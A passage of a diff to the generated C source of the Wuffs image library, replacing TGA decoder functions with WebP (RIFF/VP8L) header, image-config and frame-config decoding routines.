status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if ((v_status.repr == wuffs_base__suspension__short_read) && (self->private_impl.f_riff_chunk_length == 0u)) { ++ status = wuffs_base__make_status(wuffs_webp__error__short_chunk); + goto exit; + } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); + } +- self->private_data.s_do_decode_image_config[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ false); + } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; ++ self->private_impl.f_call_sequence = 32u; ++ ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.do_decode_image_config_limited ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_c32 = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config_limited; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- uint32_t t_6; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ self->private_data.s_do_decode_image_config_limited.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; +- if (num_bits_6 == 8) { +- t_6 = ((uint32_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); + break; + } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)) << 56; ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } + } +- self->private_impl.f_width = t_6; ++ v_c32 = t_0; ++ } ++ if (v_c32 != 1346520407u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- uint32_t t_7; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_7 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ self->private_data.s_do_decode_image_config_limited.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; +- if (num_bits_7 == 8) { +- t_7 = ((uint32_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); + break; + } +- num_bits_7 += 8u; +- *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; + } + } +- self->private_impl.f_height = t_7; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_8 = *iop_a_src++; +- self->private_impl.f_header_pixel_depth = t_8; ++ v_c32 = t_1; + } +- if ((self->private_impl.f_header_pixel_depth != 1u) && +- (self->private_impl.f_header_pixel_depth != 8u) && +- (self->private_impl.f_header_pixel_depth != 15u) && +- (self->private_impl.f_header_pixel_depth != 16u) && +- (self->private_impl.f_header_pixel_depth != 24u) && +- (self->private_impl.f_header_pixel_depth != 32u)) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ if (v_c32 == 540561494u) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_webp_file); + goto exit; +- } +- if ((self->private_impl.f_header_image_type | 8u) == 9u) { +- self->private_impl.f_scratch_bytes_per_pixel = 1u; +- self->private_impl.f_src_bytes_per_pixel = 1u; +- self->private_impl.f_src_pixfmt = 2164523016u; +- self->private_impl.f_opaque = ((self->private_impl.f_header_color_map_entry_size == 15u) || (self->private_impl.f_header_color_map_entry_size == 24u)); +- } else if ((self->private_impl.f_header_image_type | 8u) == 10u) { +- if ((self->private_impl.f_header_pixel_depth == 15u) || (self->private_impl.f_header_pixel_depth == 16u)) { +- self->private_impl.f_scratch_bytes_per_pixel = 4u; +- self->private_impl.f_src_bytes_per_pixel = 0u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else if (self->private_impl.f_header_pixel_depth == 24u) { +- self->private_impl.f_scratch_bytes_per_pixel = 3u; +- self->private_impl.f_src_bytes_per_pixel = 3u; +- self->private_impl.f_src_pixfmt = 2147485832u; +- self->private_impl.f_opaque = true; +- } else if (self->private_impl.f_header_pixel_depth == 32u) { +- self->private_impl.f_scratch_bytes_per_pixel = 4u; +- self->private_impl.f_src_bytes_per_pixel = 4u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); +- goto exit; ++ } else if (v_c32 == 1278758998u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config_limited.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ self->private_impl.f_sub_chunk_length = t_2; + } +- } else { +- if (self->private_impl.f_header_pixel_depth == 8u) { +- self->private_impl.f_scratch_bytes_per_pixel = 1u; +- self->private_impl.f_src_bytes_per_pixel = 1u; +- self->private_impl.f_src_pixfmt = 536870920u; +- self->private_impl.f_opaque = true; +- } else { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ if (self->private_impl.f_sub_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); + goto exit; + } +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_9 = *iop_a_src++; +- self->private_impl.f_header_image_descriptor = t_9; +- } +- if ((self->private_impl.f_header_image_descriptor & 16u) != 0u) { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); +- goto exit; +- } +- self->private_data.s_do_decode_image_config[0].scratch = ((uint32_t)(self->private_impl.f_header_id_length)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- if (self->private_impl.f_header_color_map_type != 0u) { +- while (v_i < ((uint32_t)(self->private_impl.f_header_color_map_length))) { +- if (self->private_impl.f_header_color_map_entry_size == 24u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); +- uint32_t t_10; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_10 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; +- if (num_bits_10 == 16) { +- t_10 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_10 += 8u; +- *scratch |= ((uint64_t)(num_bits_10)) << 56; +- } +- } +- v_c = t_10; ++ self->private_impl.f_sub_chunk_has_padding = ((self->private_impl.f_sub_chunk_length & 1u) != 0u); ++ while (true) { ++ { ++ const bool o_0_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_0_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_sub_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; + } +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c >> 0u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c >> 8u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c >> 16u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; +- } else if (self->private_impl.f_header_color_map_entry_size == 32u) { ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); +- uint32_t t_11; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; +- if (num_bits_11 == 24) { +- t_11 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_11 += 8u; +- *scratch |= ((uint64_t)(num_bits_11)) << 56; +- } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_c = t_11; +- } +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c >> 0u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c >> 8u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c >> 16u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = ((uint8_t)((v_c >> 24u))); +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); +- uint32_t t_12; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_12 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; +- if (num_bits_12 == 8) { +- t_12 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_12 += 8u; +- *scratch |= ((uint64_t)(num_bits_12)) << 56; +- } ++ wuffs_base__status t_3 = wuffs_webp__decoder__do_decode_image_config_limited_vp8l(self, a_src); ++ v_status = t_3; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- v_c = t_12; + } +- v_c5 = (31u & (v_c >> 0u)); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 5u)); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 10u)); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_sub_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_0_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_0_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if ((v_status.repr == wuffs_base__suspension__short_read) && (self->private_impl.f_sub_chunk_length == 0u)) { ++ status = wuffs_base__make_status(wuffs_webp__error__short_chunk); ++ goto exit; + } +- v_i += 1u; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); + } +- while (v_i < 256u) { +- self->private_data.f_src_palette[((v_i * 4u) + 0u)] = 0u; +- self->private_data.f_src_palette[((v_i * 4u) + 1u)] = 0u; +- self->private_data.f_src_palette[((v_i * 4u) + 2u)] = 0u; +- self->private_data.f_src_palette[((v_i * 4u) + 3u)] = 255u; +- v_i += 1u; ++ } else if (v_c32 == 1480085590u) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_webp_file); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; ++ } ++ ++ ok: ++ self->private_impl.p_do_decode_image_config_limited = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config_limited = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.do_decode_image_config_limited_vp8l ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited_vp8l( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_c32 = 0; ++ uint32_t v_transform_size = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config_limited_vp8l; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint32_t t_0 = *iop_a_src++; ++ v_c32 = t_0; + } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_src_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- self->private_impl.f_opaque); ++ if (v_c32 != 47u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } +- self->private_impl.f_call_sequence = 32u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config_limited_vp8l.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited_vp8l.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_c32 = t_1; ++ } ++ self->private_impl.f_width = ((v_c32 & 16383u) + 1u); ++ v_c32 >>= 14u; ++ self->private_impl.f_height = ((v_c32 & 16383u) + 1u); ++ v_c32 >>= 14u; ++ self->private_impl.f_pixfmt = 2415954056u; ++ if ((v_c32 & 1u) != 0u) { ++ self->private_impl.f_pixfmt = 2164295816u; ++ } ++ v_c32 >>= 1u; ++ if (v_c32 != 0u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; ++ } ++ v_transform_size = (4u * ((self->private_impl.f_width + 3u) >> 2u) * ((self->private_impl.f_height + 3u) >> 2u)); ++ self->private_impl.f_workbuf_offset_for_transform[0u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (0u * v_transform_size)); ++ self->private_impl.f_workbuf_offset_for_transform[1u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (1u * v_transform_size)); ++ self->private_impl.f_workbuf_offset_for_transform[2u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (2u * v_transform_size)); ++ self->private_impl.f_workbuf_offset_for_transform[3u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (3u * v_transform_size)); + + goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_do_decode_image_config_limited_vp8l = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_i = v_i; ++ self->private_impl.p_do_decode_image_config_limited_vp8l = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -59702,12 +74199,12 @@ wuffs_tga__decoder__do_decode_image_config( + return status; + } + +-// -------- func tga.decoder.decode_frame_config ++// -------- func webp.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__decode_frame_config( ++ wuffs_webp__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { +@@ -59733,17 +74230,17 @@ wuffs_tga__decoder__decode_frame_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_frame_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -59751,13 +74248,13 @@ wuffs_tga__decoder__decode_frame_config( + } + + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + + goto exit; +@@ -59768,12 +74265,12 @@ wuffs_tga__decoder__decode_frame_config( + return status; + } + +-// -------- func tga.decoder.do_decode_frame_config ++// -------- func webp.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__do_decode_frame_config( ++ wuffs_webp__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); +@@ -59789,7 +74286,7 @@ wuffs_tga__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +@@ -59799,7 +74296,7 @@ wuffs_tga__decoder__do_decode_frame_config( + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_tga__decoder__do_decode_image_config(self, NULL, a_src); ++ status = wuffs_webp__decoder__do_decode_image_config(self, NULL, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +@@ -59831,20 +74328,20 @@ wuffs_tga__decoder__do_decode_frame_config( + 0u, + self->private_impl.f_frame_config_io_position, + 0u, +- self->private_impl.f_opaque, + false, +- 4278190080u); ++ false, ++ 0u); + } + self->private_impl.f_call_sequence = 64u; + + ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; ++ self->private_impl.p_do_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -59855,12 +74352,12 @@ wuffs_tga__decoder__do_decode_frame_config( + return status; + } + +-// -------- func tga.decoder.decode_frame ++// -------- func webp.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__decode_frame( ++ wuffs_webp__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__pixel_blend a_blend, +@@ -59889,13 +74386,13 @@ wuffs_tga__decoder__decode_frame( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame(self, ++ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_frame(self, + a_dst, + a_src, + a_blend, +@@ -59904,64 +74401,627 @@ wuffs_tga__decoder__decode_frame( + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); 